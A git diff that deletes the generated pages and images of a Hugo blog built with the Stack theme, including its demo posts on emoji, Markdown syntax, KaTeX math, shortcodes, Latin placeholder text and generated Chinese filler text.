diff --git a/p/emoji-support/_huf941de4769045cdfa8c9ee7036519a2a_35369_36687b530fa140121781e790cfd060e7.jpg b/p/emoji-support/_huf941de4769045cdfa8c9ee7036519a2a_35369_36687b530fa140121781e790cfd060e7.jpg deleted file mode 100644 index 76a020eb..00000000 Binary files a/p/emoji-support/_huf941de4769045cdfa8c9ee7036519a2a_35369_36687b530fa140121781e790cfd060e7.jpg and /dev/null differ diff --git a/p/emoji-support/index.html b/p/emoji-support/index.html deleted file mode 100644 index 84b5a48c..00000000 --- a/p/emoji-support/index.html +++ /dev/null @@ -1,631 +0,0 @@ - - - - -Emoji Support - - - - - - - - - - - - - - - - -
- - - -
-
-
-
- - Featured image of post Emoji Support - - -
- - -
- -
- - - Test - - -
- - -
-

- Emoji Support -

- - -

- Guide to emoji usage in Hugo -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

Emoji can be enabled in a Hugo project in a number of ways.

-

The emojify function can be called directly in templates or Inline Shortcodes.

-

To enable emoji globally, set enableEmoji to true in your site’s configuration and then you can type emoji shorthand codes directly in content files; e.g.

- -

The Emoji cheat sheet is a useful reference for emoji shorthand codes.

-
-

N.B. The above steps enable Unicode Standard emoji characters and sequences in Hugo, however the rendering of these glyphs depends on the browser and the platform. To style the emoji you can either use a third party emoji font or a font stack; e.g.

-
- -
-
1
-2
-3
-
 -
.emoji {
-  font-family: Apple Color Emoji, Segoe UI Emoji, NotoColorEmoji, Segoe UI Symbol, Android Emoji, EmojiSymbols;
-}
-
-
-
- - -
- -
- - emoji - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git a/p/emoji-support/the-creative-exchange-d2zvqp3fpro-unsplash.60116b1ccfc8632e9a65f7d51df3efc2.jpg b/p/emoji-support/the-creative-exchange-d2zvqp3fpro-unsplash.60116b1ccfc8632e9a65f7d51df3efc2.jpg deleted file mode 100644 index e34a59db..00000000 Binary files a/p/emoji-support/the-creative-exchange-d2zvqp3fpro-unsplash.60116b1ccfc8632e9a65f7d51df3efc2.jpg and /dev/null differ diff --git a/p/emoji-support/the-creative-exchange-d2zvqp3fpro-unsplash.jpg b/p/emoji-support/the-creative-exchange-d2zvqp3fpro-unsplash.jpg deleted file mode 100644 index e34a59db..00000000 Binary files a/p/emoji-support/the-creative-exchange-d2zvqp3fpro-unsplash.jpg and /dev/null differ diff --git a/p/emoji-support/the-creative-exchange-d2zvqp3fpro-unsplash_huf941de4769045cdfa8c9ee7036519a2a_35369_120x120_fill_q75_box_smart1.jpg b/p/emoji-support/the-creative-exchange-d2zvqp3fpro-unsplash_huf941de4769045cdfa8c9ee7036519a2a_35369_120x120_fill_q75_box_smart1.jpg deleted file mode 100644 index de5a1fa0..00000000 Binary files a/p/emoji-support/the-creative-exchange-d2zvqp3fpro-unsplash_huf941de4769045cdfa8c9ee7036519a2a_35369_120x120_fill_q75_box_smart1.jpg and /dev/null differ diff --git a/p/emoji-support/the-creative-exchange-d2zvqp3fpro-unsplash_huf941de4769045cdfa8c9ee7036519a2a_35369_1600x0_resize_q75_box.jpg b/p/emoji-support/the-creative-exchange-d2zvqp3fpro-unsplash_huf941de4769045cdfa8c9ee7036519a2a_35369_1600x0_resize_q75_box.jpg deleted file mode 100644 index 7df1663d..00000000 Binary files a/p/emoji-support/the-creative-exchange-d2zvqp3fpro-unsplash_huf941de4769045cdfa8c9ee7036519a2a_35369_1600x0_resize_q75_box.jpg and /dev/null differ diff --git a/p/emoji-support/the-creative-exchange-d2zvqp3fpro-unsplash_huf941de4769045cdfa8c9ee7036519a2a_35369_800x0_resize_q75_box.jpg b/p/emoji-support/the-creative-exchange-d2zvqp3fpro-unsplash_huf941de4769045cdfa8c9ee7036519a2a_35369_800x0_resize_q75_box.jpg deleted file mode 100644 index 985e5229..00000000 Binary files a/p/emoji-support/the-creative-exchange-d2zvqp3fpro-unsplash_huf941de4769045cdfa8c9ee7036519a2a_35369_800x0_resize_q75_box.jpg and /dev/null differ diff --git a/p/markdown-syntax-guide/index.html b/p/markdown-syntax-guide/index.html deleted file mode 100644 index 23c38b43..00000000 --- a/p/markdown-syntax-guide/index.html +++ /dev/null @@ -1,819 +0,0 @@ - - - - -Markdown Syntax Guide - - - - - - - - - - - - - - - - -
- - - - -
-
-
-
- - Featured image of post Markdown Syntax Guide - - -
- - -
- -
- - - themes - - - - syntax - - -
- - -
-

- Markdown Syntax Guide -

- - -

- Sample article showcasing basic Markdown syntax and formatting for HTML elements. -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

This article offers a sample of basic Markdown syntax that can be used in Hugo content files, also it shows whether basic HTML elements are decorated with CSS in a Hugo theme.

-

Headings

-

The following HTML <h1>—<h6> elements represent six levels of section headings. <h1> is the highest section level while <h6> is the lowest.

-

H1

-

H2

-

H3

-

H4

-
H5
-
H6
-

Paragraph

-

Xerum, quo qui aut unt expliquam qui dolut labo. Aque venitatiusda cum, voluptionse latur sitiae dolessi aut parist aut dollo enim qui voluptate ma dolestendit peritin re plis aut quas inctum laceat est volestemque commosa as cus endigna tectur, offic to cor sequas etum rerum idem sintibus eiur? Quianimin porecus evelectur, cum que nis nust voloribus ratem aut omnimi, sitatur? Quiatem. Nam, omnis sum am facea corem alique molestrunt et eos evelece arcillit ut aut eos eos nus, sin conecerem erum fuga. Ri oditatquam, ad quibus unda veliamenimin cusam et facea ipsamus es exerum sitate dolores editium rerore eost, temped molorro ratiae volorro te reribus dolorer sperchicium faceata tiustia prat.

-

Itatur? Quiatae cullecum rem ent aut odis in re eossequodi nonsequ idebis ne sapicia is sinveli squiatum, core et que aut hariosam ex eat.

-

Blockquotes

-

The blockquote element represents content that is quoted from another source, optionally with a citation which must be within a footer or cite element, and optionally with in-line changes such as annotations and abbreviations.

-

Blockquote without attribution

-
-

Tiam, ad mint andaepu dandae nostion secatur sequo quae. -Note that you can use Markdown syntax within a blockquote.

-
-

Blockquote with attribution

-
-

Don’t communicate by sharing memory, share memory by communicating. -— Rob Pike1

-
-

Tables

-

Tables aren’t part of the core Markdown spec, but Hugo supports supports them out-of-the-box.

-
- - - - - - - - - - - - - - - - -
NameAge
Bob27
Alice23
-

Inline Markdown within tables

-
- - - - - - - - - - - - - - -
ItalicsBoldCode
italicsboldcode
-

Code Blocks

-

Code block with backticks

-
- -
-
 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
-10
-
 -
<!doctype html>
-<html lang="en">
-<head>
-  <meta charset="utf-8">
-  <title>Example HTML5 Document</title>
-</head>
-<body>
-  <p>Test</p>
-</body>
-</html>
-
-
-

Code block indented with four spaces

-
<!doctype html>
-<html lang="en">
-<head>
-  <meta charset="utf-8">
-  <title>Example HTML5 Document</title>
-</head>
-<body>
-  <p>Test</p>
-</body>
-</html>
-
-

Code block with Hugo’s internal highlight shortcode

-
- -
-
 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
-10
-
 -
<!doctype html>
-<html lang="en">
-<head>
-  <meta charset="utf-8">
-  <title>Example HTML5 Document</title>
-</head>
-<body>
-  <p>Test</p>
-</body>
-</html>
-
-
-

List Types

-

Ordered List

-
    -
  1. First item
    2. -
  2. Second item
    3. -
  3. Third item
    4. -
-

Unordered List

-
    -
  • List item
    • -
  • Another item
    • -
  • And another item
    • -
-

Nested list

-
    -
  • Fruit -
      -
    • Apple
      • -
    • Orange
      • -
    • Banana
      • -
    -
    • -
  • Dairy -
      -
    • Milk
      • -
    • Cheese
      • -
    -
    • -
-

Other Elements — abbr, sub, sup, kbd, mark

-

GIF is a bitmap image format.

-

H2O

-

Xn + Yn = Zn

-

Press CTRL+ALT+Delete to end the session.

-

Most salamanders are nocturnal, and hunt for insects, worms, and other small creatures.

-
-
-
    -
  1. -

    The above quote is excerpted from Rob Pike’s talk during Gopherfest, November 18, 2015. ↩︎

    -
    2. -
-
-
- - -
- -
- - markdown - - css - - html - - themes - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git a/p/markdown-syntax-guide/pawel-czerwinski-8uZPynIu-rQ-unsplash.jpg b/p/markdown-syntax-guide/pawel-czerwinski-8uZPynIu-rQ-unsplash.jpg deleted file mode 100644 index 1634e85b..00000000 Binary files a/p/markdown-syntax-guide/pawel-czerwinski-8uZPynIu-rQ-unsplash.jpg and /dev/null differ diff --git a/p/markdown-syntax-guide/pawel-czerwinski-8uZPynIu-rQ-unsplash_hud7e36f7e20e71be184458283bdae4646_55974_120x120_fill_q75_box_smart1.jpg b/p/markdown-syntax-guide/pawel-czerwinski-8uZPynIu-rQ-unsplash_hud7e36f7e20e71be184458283bdae4646_55974_120x120_fill_q75_box_smart1.jpg deleted file mode 100644 index 0707d566..00000000 Binary files a/p/markdown-syntax-guide/pawel-czerwinski-8uZPynIu-rQ-unsplash_hud7e36f7e20e71be184458283bdae4646_55974_120x120_fill_q75_box_smart1.jpg and /dev/null differ diff --git a/p/markdown-syntax-guide/pawel-czerwinski-8uZPynIu-rQ-unsplash_hud7e36f7e20e71be184458283bdae4646_55974_1600x0_resize_q75_box.jpg b/p/markdown-syntax-guide/pawel-czerwinski-8uZPynIu-rQ-unsplash_hud7e36f7e20e71be184458283bdae4646_55974_1600x0_resize_q75_box.jpg deleted file mode 100644 index 7c6ce44e..00000000 Binary files a/p/markdown-syntax-guide/pawel-czerwinski-8uZPynIu-rQ-unsplash_hud7e36f7e20e71be184458283bdae4646_55974_1600x0_resize_q75_box.jpg and /dev/null differ diff --git a/p/markdown-syntax-guide/pawel-czerwinski-8uZPynIu-rQ-unsplash_hud7e36f7e20e71be184458283bdae4646_55974_800x0_resize_q75_box.jpg b/p/markdown-syntax-guide/pawel-czerwinski-8uZPynIu-rQ-unsplash_hud7e36f7e20e71be184458283bdae4646_55974_800x0_resize_q75_box.jpg deleted file mode 100644 index 2bc41625..00000000 Binary files a/p/markdown-syntax-guide/pawel-czerwinski-8uZPynIu-rQ-unsplash_hud7e36f7e20e71be184458283bdae4646_55974_800x0_resize_q75_box.jpg and /dev/null differ diff --git a/p/math-typesetting/index.html b/p/math-typesetting/index.html deleted file mode 100644 index 4dec42e0..00000000 --- a/p/math-typesetting/index.html +++ /dev/null @@ -1,616 +0,0 @@ - - - - -Math Typesetting - - - - - - - - - - - - - - - -
- - - - -
-
-
- -
- - -
-

- Math Typesetting -

- - -

- A brief guide to setup KaTeX -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

Mathematical notation in a Hugo project can be enabled by using third party JavaScript libraries.

-

In this example we will be using KaTeX

-
    -
  • Create a partial under /layouts/partials/math.html
    • -
  • Within this partial reference the Auto-render Extension or host these scripts locally.
    • -
  • Include the partial in your templates like so:
    • -
-
- -
-
1
-2
-3
-
 -
{{ if or .Params.math .Site.Params.math }}
-{{ partial "math.html" . }}
-{{ end }}
-
-
-
    -
  • To enable KaTex globally set the parameter math to true in a project’s configuration
    • -
  • To enable KaTex on a per page basis include the parameter math: true in content files
    • -
-

Note: Use the online reference of Supported TeX Functions

- -

Examples

- -

Block math: -$$ -\varphi = 1+\frac{1} {1+\frac{1} {1+\frac{1} {1+\cdots} } } -$$

-
- - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - - - -
- - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git a/p/migrate-from-jekyl/index.html b/p/migrate-from-jekyl/index.html deleted file mode 100644 index 5b9037ba..00000000 --- a/p/migrate-from-jekyl/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - https://weltolk.github.io/p/markdown-syntax-guide/ - - - - - - diff --git a/p/placeholder-text/_hu958d513eeefe5556a31d065479ecc5ac_14205_7bffa90d1e66ca9b8184fda08a99dc7e.jpg b/p/placeholder-text/_hu958d513eeefe5556a31d065479ecc5ac_14205_7bffa90d1e66ca9b8184fda08a99dc7e.jpg deleted file mode 100644 index 461c3fa4..00000000 Binary files a/p/placeholder-text/_hu958d513eeefe5556a31d065479ecc5ac_14205_7bffa90d1e66ca9b8184fda08a99dc7e.jpg and /dev/null differ diff --git a/p/placeholder-text/index.html b/p/placeholder-text/index.html deleted file mode 100644 index a1cb006b..00000000 --- a/p/placeholder-text/index.html +++ /dev/null @@ -1,671 +0,0 @@ - - - - -Placeholder Text - - - - - - - - - - - - - - - - -
- - - - -
-
-
-
- - Featured image of post Placeholder Text - - -
- - -
- -
- - - Test - - - - Test with whitespaces - - -
- - -
-

- Placeholder Text -

- - -

- Lorem Ipsum Dolor Si Amet -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

Lorem est tota propiore conpellat pectoribus de pectora summo.

-

Redit teque digerit hominumque toris verebor lumina non cervice subde tollit usus habet Arctonque, furores quas nec ferunt. Quoque montibus nunc caluere tempus inhospita parcite confusaque translucet patri vestro qui optatis lumine cognoscere flos nubis! Fronde ipsamque patulos Dryopen deorum.

-
    -
  1. Exierant elisi ambit vivere dedere
    2. -
  2. Duce pollice
    3. -
  3. Eris modo
    4. -
  4. Spargitque ferrea quos palude
    5. -
-

Rursus nulli murmur; hastile inridet ut ab gravi sententia! Nomine potitus silentia flumen, sustinet placuit petis in dilapsa erat sunt. Atria tractus malis.

-
    -
  1. Comas hunc haec pietate fetum procerum dixit
    2. -
  2. Post torum vates letum Tiresia
    3. -
  3. Flumen querellas
    4. -
  4. Arcanaque montibus omnes
    5. -
  5. Quidem et
    6. -
-

Vagus elidunt

-

-

The Van de Graaf Canon

-

Mane refeci capiebant unda mulcebat

-

Victa caducifer, malo vulnere contra dicere aurato, ludit regale, voca! Retorsit colit est profanae esse virescere furit nec; iaculi matertera et visa est, viribus. Divesque creatis, tecta novat collumque vulnus est, parvas. Faces illo pepulere tempus adest. Tendit flamma, ab opes virum sustinet, sidus sequendo urbis.

-

Iubar proles corpore raptos vero auctor imperium; sed et huic: manus caeli Lelegas tu lux. Verbis obstitit intus oblectamina fixis linguisque ausus sperare Echionides cornuaque tenent clausit possit. Omnia putatur. Praeteritae refert ausus; ferebant e primus lora nutat, vici quae mea ipse. Et iter nil spectatae vulnus haerentia iuste et exercebat, sui et.

-

Eurytus Hector, materna ipsumque ut Politen, nec, nate, ignari, vernum cohaesit sequitur. Vel mitis temploque vocatus, inque alis, oculos nomen non silvis corpore coniunx ne displicet illa. Crescunt non unus, vidit visa quantum inmiti flumina mortis facto sic: undique a alios vincula sunt iactata abdita! Suspenderat ego fuit tendit: luna, ante urbem Propoetides parte.

-
- - - - - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git a/p/placeholder-text/matt-le-SJSpo9hQf7s-unsplash.8eae06664ddfb3e8dc6e000756cb703b.jpg b/p/placeholder-text/matt-le-SJSpo9hQf7s-unsplash.8eae06664ddfb3e8dc6e000756cb703b.jpg deleted file mode 100644 index 3b287900..00000000 Binary files a/p/placeholder-text/matt-le-SJSpo9hQf7s-unsplash.8eae06664ddfb3e8dc6e000756cb703b.jpg and /dev/null differ diff --git a/p/placeholder-text/matt-le-SJSpo9hQf7s-unsplash.jpg b/p/placeholder-text/matt-le-SJSpo9hQf7s-unsplash.jpg deleted file mode 100644 index 3b287900..00000000 Binary files a/p/placeholder-text/matt-le-SJSpo9hQf7s-unsplash.jpg and /dev/null differ diff --git a/p/placeholder-text/matt-le-SJSpo9hQf7s-unsplash_hu958d513eeefe5556a31d065479ecc5ac_14205_120x120_fill_q75_box_smart1.jpg b/p/placeholder-text/matt-le-SJSpo9hQf7s-unsplash_hu958d513eeefe5556a31d065479ecc5ac_14205_120x120_fill_q75_box_smart1.jpg deleted file mode 100644 index edfece95..00000000 Binary files a/p/placeholder-text/matt-le-SJSpo9hQf7s-unsplash_hu958d513eeefe5556a31d065479ecc5ac_14205_120x120_fill_q75_box_smart1.jpg and /dev/null differ diff --git a/p/placeholder-text/matt-le-SJSpo9hQf7s-unsplash_hu958d513eeefe5556a31d065479ecc5ac_14205_1600x0_resize_q75_box.jpg b/p/placeholder-text/matt-le-SJSpo9hQf7s-unsplash_hu958d513eeefe5556a31d065479ecc5ac_14205_1600x0_resize_q75_box.jpg deleted file mode 100644 index 9157b65e..00000000 Binary files a/p/placeholder-text/matt-le-SJSpo9hQf7s-unsplash_hu958d513eeefe5556a31d065479ecc5ac_14205_1600x0_resize_q75_box.jpg and /dev/null differ diff --git a/p/placeholder-text/matt-le-SJSpo9hQf7s-unsplash_hu958d513eeefe5556a31d065479ecc5ac_14205_800x0_resize_q75_box.jpg b/p/placeholder-text/matt-le-SJSpo9hQf7s-unsplash_hu958d513eeefe5556a31d065479ecc5ac_14205_800x0_resize_q75_box.jpg deleted file mode 100644 index 5ddd357b..00000000 Binary files a/p/placeholder-text/matt-le-SJSpo9hQf7s-unsplash_hu958d513eeefe5556a31d065479ecc5ac_14205_800x0_resize_q75_box.jpg and /dev/null differ diff --git a/p/rich-content/index.html b/p/rich-content/index.html deleted file mode 100644 index 5d5681cf..00000000 --- a/p/rich-content/index.html +++ /dev/null @@ -1,643 +0,0 @@ - - - - -Rich Content - - - - - - - - - - - - - - - -
- - - - -
-
-
- -
- - -
-

- Rich Content -

- - -

- A brief description of Hugo Shortcodes -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

Hugo ships with several Built-in Shortcodes for rich content, along with a Privacy Config and a set of Simple Shortcodes that enable static and no-JS versions of various social media embeds.

-
-

YouTube Privacy Enhanced Shortcode

-
- -
- - -
-

Twitter Simple Shortcode

- - - - - -
-

Vimeo Simple Shortcode

- - - - - - - - - -
- - - -Sing Jan Swing - Kinetic Type -
-
- - -
- -
- - shortcodes - - privacy - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git a/p/test-chinese/_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_27040ddd7399aaf289c0ce70ee6592d9.jpg b/p/test-chinese/_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_27040ddd7399aaf289c0ce70ee6592d9.jpg deleted file mode 100644 index add351fc..00000000 Binary files a/p/test-chinese/_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_27040ddd7399aaf289c0ce70ee6592d9.jpg and /dev/null differ diff --git a/p/test-chinese/florian-klauer-nptLmg6jqDo-unsplash.jpg b/p/test-chinese/florian-klauer-nptLmg6jqDo-unsplash.jpg deleted file mode 100644 index 4798ed4d..00000000 Binary files a/p/test-chinese/florian-klauer-nptLmg6jqDo-unsplash.jpg and /dev/null differ diff --git a/p/test-chinese/florian-klauer-nptLmg6jqDo-unsplash_hu595aaf3b3dbbb41af5aed8d3958cc9f9_13854_1024x0_resize_q75_box.jpg b/p/test-chinese/florian-klauer-nptLmg6jqDo-unsplash_hu595aaf3b3dbbb41af5aed8d3958cc9f9_13854_1024x0_resize_q75_box.jpg deleted file mode 100644 index 369b16ed..00000000 Binary files a/p/test-chinese/florian-klauer-nptLmg6jqDo-unsplash_hu595aaf3b3dbbb41af5aed8d3958cc9f9_13854_1024x0_resize_q75_box.jpg and /dev/null differ diff --git a/p/test-chinese/florian-klauer-nptLmg6jqDo-unsplash_hu595aaf3b3dbbb41af5aed8d3958cc9f9_13854_480x0_resize_q75_box.jpg b/p/test-chinese/florian-klauer-nptLmg6jqDo-unsplash_hu595aaf3b3dbbb41af5aed8d3958cc9f9_13854_480x0_resize_q75_box.jpg deleted file mode 100644 index b7fae506..00000000 Binary files a/p/test-chinese/florian-klauer-nptLmg6jqDo-unsplash_hu595aaf3b3dbbb41af5aed8d3958cc9f9_13854_480x0_resize_q75_box.jpg and /dev/null differ diff --git a/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash.46f61e8ea6a2df8fc5bf1d24a17c44a6.jpg b/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash.46f61e8ea6a2df8fc5bf1d24a17c44a6.jpg deleted file mode 100644 index 01207067..00000000 Binary files a/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash.46f61e8ea6a2df8fc5bf1d24a17c44a6.jpg and /dev/null differ diff --git a/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash.jpg b/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash.jpg deleted file mode 100644 index 01207067..00000000 Binary files a/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash.jpg and /dev/null differ diff --git a/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_1024x0_resize_q75_box.jpg b/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_1024x0_resize_q75_box.jpg deleted file mode 100644 index b140f261..00000000 Binary files a/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_1024x0_resize_q75_box.jpg and /dev/null differ diff --git a/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_120x120_fill_q75_box_smart1.jpg b/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_120x120_fill_q75_box_smart1.jpg deleted file mode 100644 index 294ca4d3..00000000 Binary files a/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_120x120_fill_q75_box_smart1.jpg and /dev/null differ diff --git a/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_1600x0_resize_q75_box.jpg b/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_1600x0_resize_q75_box.jpg deleted file mode 100644 index 74ade4c7..00000000 Binary files a/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_1600x0_resize_q75_box.jpg and /dev/null differ diff --git a/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_480x0_resize_q75_box.jpg b/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_480x0_resize_q75_box.jpg deleted file mode 100644 index e7a15e17..00000000 Binary files a/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_480x0_resize_q75_box.jpg and /dev/null differ diff --git a/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_800x0_resize_q75_box.jpg b/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_800x0_resize_q75_box.jpg deleted file mode 100644 index f86e05d9..00000000 Binary files a/p/test-chinese/helena-hertz-wWZzXlDpMog-unsplash_hu45a5e3ad5e058da6a00650ed8fd40bea_15530_800x0_resize_q75_box.jpg and /dev/null differ diff --git a/p/test-chinese/hudai-gayiran-3Od_VKcDEAA-unsplash.jpg b/p/test-chinese/hudai-gayiran-3Od_VKcDEAA-unsplash.jpg deleted file mode 100644 index 1a280b25..00000000 Binary files a/p/test-chinese/hudai-gayiran-3Od_VKcDEAA-unsplash.jpg and /dev/null differ diff --git a/p/test-chinese/hudai-gayiran-3Od_VKcDEAA-unsplash_hub241c2a9c7a2caf7e16a2a5bbc7141ff_18711_1024x0_resize_q75_box.jpg b/p/test-chinese/hudai-gayiran-3Od_VKcDEAA-unsplash_hub241c2a9c7a2caf7e16a2a5bbc7141ff_18711_1024x0_resize_q75_box.jpg deleted file mode 100644 index 811aeba3..00000000 Binary files a/p/test-chinese/hudai-gayiran-3Od_VKcDEAA-unsplash_hub241c2a9c7a2caf7e16a2a5bbc7141ff_18711_1024x0_resize_q75_box.jpg and /dev/null differ diff --git a/p/test-chinese/hudai-gayiran-3Od_VKcDEAA-unsplash_hub241c2a9c7a2caf7e16a2a5bbc7141ff_18711_480x0_resize_q75_box.jpg b/p/test-chinese/hudai-gayiran-3Od_VKcDEAA-unsplash_hub241c2a9c7a2caf7e16a2a5bbc7141ff_18711_480x0_resize_q75_box.jpg deleted file mode 100644 index 4fd5f1ea..00000000 Binary files a/p/test-chinese/hudai-gayiran-3Od_VKcDEAA-unsplash_hub241c2a9c7a2caf7e16a2a5bbc7141ff_18711_480x0_resize_q75_box.jpg and /dev/null differ diff --git a/p/test-chinese/index.html b/p/test-chinese/index.html deleted file mode 100644 index 1c31fdc6..00000000 --- a/p/test-chinese/index.html +++ /dev/null @@ -1,721 +0,0 @@ - - - - -Chinese Test - - - - - - - - - - - - - - - - -
- - - - -
-
-
-
- - Featured image of post Chinese Test - - -
- - -
- -
- - - Test - - - - 测试 - - -
- - -
-

- Chinese Test -

- - -

- 这是一个副标题 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

正文测试

-

而这些并不是完全重要，更加重要的问题是， 带着这些问题，我们来审视一下学生会退会。 既然如何， 对我个人而言，学生会退会不仅仅是一个重大的事件，还可能会改变我的人生。 我们不得不面对一个非常尴尬的事实，那就是， 可是，即使是这样，学生会退会的出现仍然代表了一定的意义。 学生会退会，发生了会如何，不发生又会如何。 经过上述讨论， 生活中，若学生会退会出现了，我们就不得不考虑它出现了的事实。 学生会退会，到底应该如何实现。 这样看来， 在这种困难的抉择下，本人思来想去，寝食难安。 对我个人而言，学生会退会不仅仅是一个重大的事件，还可能会改变我的人生。 就我个人来说，学生会退会对我的意义，不能不说非常重大。 莎士比亚曾经提到过，人的一生是短的，但如果卑劣地过这一生，就太长了。这似乎解答了我的疑惑。 莫扎特说过一句富有哲理的话，谁和我一样用功，谁就会和我一样成功。这启发了我， 对我个人而言，学生会退会不仅仅是一个重大的事件，还可能会改变我的人生。 学生会退会，到底应该如何实现。 一般来说， 从这个角度来看， 这种事实对本人来说意义重大，相信对这个世界也是有一定意义的。 在这种困难的抉择下，本人思来想去，寝食难安。 了解清楚学生会退会到底是一种怎么样的存在，是解决一切问题的关键。 一般来说， 生活中，若学生会退会出现了，我们就不得不考虑它出现了的事实。 问题的关键究竟为何？ 而这些并不是完全重要，更加重要的问题是。

-

奥斯特洛夫斯基曾经说过，共同的事业，共同的斗争，可以使人们产生忍受一切的力量。　带着这句话，我们还要更加慎重的审视这个问题： 一般来讲，我们都必须务必慎重的考虑考虑。 既然如此， 这种事实对本人来说意义重大，相信对这个世界也是有一定意义的。 带着这些问题，我们来审视一下学生会退会。 我认为， 我认为， 在这种困难的抉择下，本人思来想去，寝食难安。 问题的关键究竟为何？ 每个人都不得不面对这些问题。 在面对这种问题时， 要想清楚，学生会退会，到底是一种怎么样的存在。 我认为， 既然如此， 每个人都不得不面对这些问题。 在面对这种问题时， 那么， 我认为， 学生会退会因何而发生。

-

引用

-
-

思念是最暖的忧伤像一双翅膀
-让我停不了飞不远在过往游荡
-不告而别的你 就算为了我着想
-这么沉痛的呵护 我怎么能翱翔

-

最暖的憂傷 - 田馥甄

-
-

图片

-

Photo by Florian Klauer on Unsplash Photo by Luca Bravo on Unsplash

-

Photo by Helena Hertz on Unsplash Photo by Hudai Gayiran on Unsplash

-
- -
-
1
-2
-3
-
 -
![Photo by Florian Klauer on Unsplash](florian-klauer-nptLmg6jqDo-unsplash.jpg)  ![Photo by Luca Bravo on Unsplash](luca-bravo-alS7ewQ41M8-unsplash.jpg) 
-
-![Photo by Helena Hertz on Unsplash](helena-hertz-wWZzXlDpMog-unsplash.jpg)  ![Photo by Hudai Gayiran on Unsplash](hudai-gayiran-3Od_VKcDEAA-unsplash.jpg)
-
-
-

相册语法来自 Typlog

- -
- - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
